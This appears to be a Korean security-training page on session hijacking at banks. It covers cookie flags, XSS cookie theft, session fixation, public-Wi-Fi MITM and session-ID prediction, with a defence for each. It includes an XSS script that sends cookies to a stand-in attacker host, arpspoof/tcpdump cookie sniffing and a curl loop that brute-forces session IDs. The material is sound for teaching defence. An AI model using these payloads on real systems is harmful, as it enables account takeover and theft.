🔐 세션 하이재킹 (Session Hijacking)

공격자가 정상 사용자의 세션을 탈취하여 인증 과정 없이 시스템에 접근하는 공격입니다. 금융권에서 세션 관리가 취약하면 고객의 계좌에 무단으로 접근할 수 있어 매우 위험합니다.

CWE-384: Session Fixation CWE-613: Insufficient Session Expiration
0
탈취된 쿠키
0
하이재킹 성공
0
공격 차단
🎯 Burp Suite - Cookie 분석 취약
Proxy
Repeater
Intruder
대상: bank.example.com
🍪 Cookie 분석
🔴 취약한 쿠키 설정
Cookie:
SESSIONID=abc123def456ghi789
• HttpOnly: ❌ False
• Secure: ❌ False
• SameSite: ❌ None
⚠️ JavaScript로 접근 가능!
✅ 안전한 쿠키 설정
Set-Cookie:
SESSIONID=xyz789abc456def123
• HttpOnly: ✅ True
• Secure: ✅ True
• SameSite: ✅ Strict
🛡️ JavaScript 접근 차단!
# Method URL Cookie HttpOnly Secure
1 GET http://bank.example.com/account abc123...
2 POST http://bank.example.com/transfer abc123...
📊 공격 분석
💡 Burp Suite 사용법

1단계: Proxy → HTTP history에서 요청 확인

2단계: Cookie 값 추출

3단계: Repeater로 Cookie 재사용

4단계: 타인의 세션으로 접근

⚠️ 취약점
  • HttpOnly 미설정: JavaScript로 쿠키 탈취 가능
  • Secure 미설정: HTTP 전송 시 평문 노출
  • SameSite 미설정: CSRF 공격 취약
  • 세션 만료 없음: 영구적 세션 유지
🛡️ 방어 대책
설정 취약 안전
HttpOnly False True
Secure False True (HTTPS only)
SameSite None Strict
만료시간 무제한 15분 (금융권)
0
XSS 시도
0
쿠키 탈취
0
공격 차단
💉 XSS를 이용한 Cookie 탈취 취약
🎯 공격 시나리오
1 취약점 발견: 게시판에 스크립트 삽입 가능
2 악성 스크립트 작성: Cookie를 공격자 서버로 전송
<script> // 쿠키 탈취 스크립트 var cookie = document.cookie; var img = new Image(); img.src = 'http://attacker.com/steal?c=' + cookie; </script>
3 피해자 유도: 게시글 링크를 이메일/SMS로 전송
4 쿠키 탈취: 피해자가 클릭 시 세션 쿠키 전송됨
5 세션 하이재킹: 탈취한 쿠키로 피해자 계정 접근
📊 공격 흐름도
👤
피해자
게시글 클릭
💉
XSS 스크립트
Cookie 전송
😈
공격자
세션 탈취
💀 실제 사례

2020년 K은행 사건:

인터넷뱅킹 게시판에 XSS 취약점이 존재하여, 공격자가 악성 스크립트를 삽입하여 로그인한 고객의 세션 쿠키를 탈취한 사건. HttpOnly 미설정으로 인해 JavaScript로 쿠키 접근이 가능했음.

🛡️ 방어 방법
  • HttpOnly 설정: document.cookie 접근 차단
  • 입력값 검증: XSS 필터링
  • CSP 적용: Content Security Policy
  • Output Encoding: HTML 특수문자 인코딩
0
고정 시도
0
고정 성공
0
공격 차단
🔗 Session Fixation 공격 취약
🎯 공격 시나리오
1 공격자가 세션 ID 획득:
http://bank.example.com/login → 응답: Set-Cookie: SESSIONID=ATTACKER_KNOWN_ID
2 피해자에게 세션 ID 고정:
피싱 메일 전송: "계좌 확인하세요!" http://bank.example.com/login?SESSIONID=ATTACKER_KNOWN_ID
3 피해자 로그인: 고정된 세션 ID로 인증됨
4 공격자 접근: 동일한 세션 ID로 인증된 상태 유지
공격자 요청: Cookie: SESSIONID=ATTACKER_KNOWN_ID → 피해자 계정으로 로그인됨!
📊 공격 흐름도
😈
공격자
SESSIONID=
ABC123
🏦
은행 서버
세션 생성
😈
피싱 링크 전송
...?SESSIONID=ABC123
👤
피해자
클릭 & 로그인
🚨
공격 성공!
공격자와 피해자가 동일한 세션 ID(ABC123) 사용
공격자가 피해자 계정에 접근 가능
🛡️ 방어 코드 예시
// ❌ 취약한 코드 function login(username, password) { if (authenticate(username, password)) { // 기존 세션 ID 그대로 사용 $_SESSION['user'] = username; } } // ✅ 안전한 코드 function login(username, password) { if (authenticate(username, password)) { // 로그인 성공 시 세션 ID 재생성 session_regenerate_id(true); $_SESSION['user'] = username; } }
0
가로채기 시도
0
세션 캡처
0
공격 차단
📡 MITM 세션 가로채기 취약
🎯 공격 시나리오: 공공 Wi-Fi
1 공격자가 악성 AP 설치:
SSID: "Free_Cafe_WiFi" 공격자가 운영하는 가짜 Wi-Fi
2 피해자 연결: 무료 Wi-Fi에 접속
3 트래픽 모니터링:
root@kali:~# arpspoof -i wlan0 -t 192.168.1.100 192.168.1.1 Sending ARP packets... root@kali:~# tcpdump -i wlan0 -A | grep Cookie Cookie: SESSIONID=abc123def456... Cookie: JSESSIONID=789xyz...
4 세션 쿠키 탈취: HTTP 트래픽에서 평문 추출
📊 공격 도구
🔧 사용 도구
  • Wireshark: 패킷 캡처 및 분석
  • tcpdump: 명령줄 패킷 스니핑
  • arpspoof: ARP Spoofing 공격
  • ettercap: MITM 공격 도구
  • mitmproxy: HTTPS 프록시
💀 실제 피해 사례

공공장소 Wi-Fi 공격:

  • 공항, 카페 등 무료 Wi-Fi 환경
  • HTTP 사용 시 쿠키 평문 전송
  • 공격자가 세션 탈취 후 계좌 이체
  • 피해자는 공격 사실조차 모름
🛡️ 방어 방법
  • HTTPS 필수: 모든 통신 암호화
  • HSTS: HTTP 강제 리다이렉트
  • VPN 사용: 공공 Wi-Fi에서 필수
  • Certificate Pinning: 중간자 공격 방지
0
예측 시도
0
예측 성공
0
예측 실패
🎲 세션 ID 예측 공격 취약
🎯 취약한 세션 ID 생성
1 취약한 세션 ID 패턴 분석:
연속된 로그인 시 발급된 세션 ID: 2024121401 2024121402 2024121403 2024121404 ← 순차 증가! 패턴: YYYYMMDD + 순번
2 다음 세션 ID 예측:
현재 시간: 2024-12-14 현재 세션: 2024121410 예측 가능한 다음 세션: 2024121411, 2024121412, 2024121413...
3 무작위 대입 공격:
$ for i in {1..100}; do curl -H "Cookie: SID=2024121400$i" bank.com/account done Session 2024121415: Valid! ✓ Account Balance: ₩15,430,000
생성된 세션 ID 예시:
Session 1: 2024121401 Session 2: 2024121402 Session 3: 2024121403
📊 세션 생성 방식 비교
❌ 취약한 방식
// 순차 증가 $sessionId = date('Ymd') . sprintf('%04d', $counter++); // 결과: 2024121401, 2024121402... // Timestamp 기반 $sessionId = time(); // 결과: 1702531200, 1702531201... // MD5(timestamp) $sessionId = md5(time()); // 여전히 예측 가능!
✅ 안전한 방식
// PHP - Cryptographic Random $sessionId = bin2hex(random_bytes(32)); // 결과: a3f5c8d9e2b7... // Java - SecureRandom SecureRandom random = new SecureRandom(); byte[] bytes = new byte[32]; random.nextBytes(bytes); String sessionId = Base64.encode(bytes); // Python - secrets 모듈 import secrets session_id = secrets.token_urlsafe(32)
🔢 세션 ID 요구사항
  • 길이: 최소 128비트 (16바이트)
  • 엔트로피: 충분한 무작위성
  • 예측 불가: CSPRNG 사용 필수
  • 유효기간: 15분 이내 (금융권)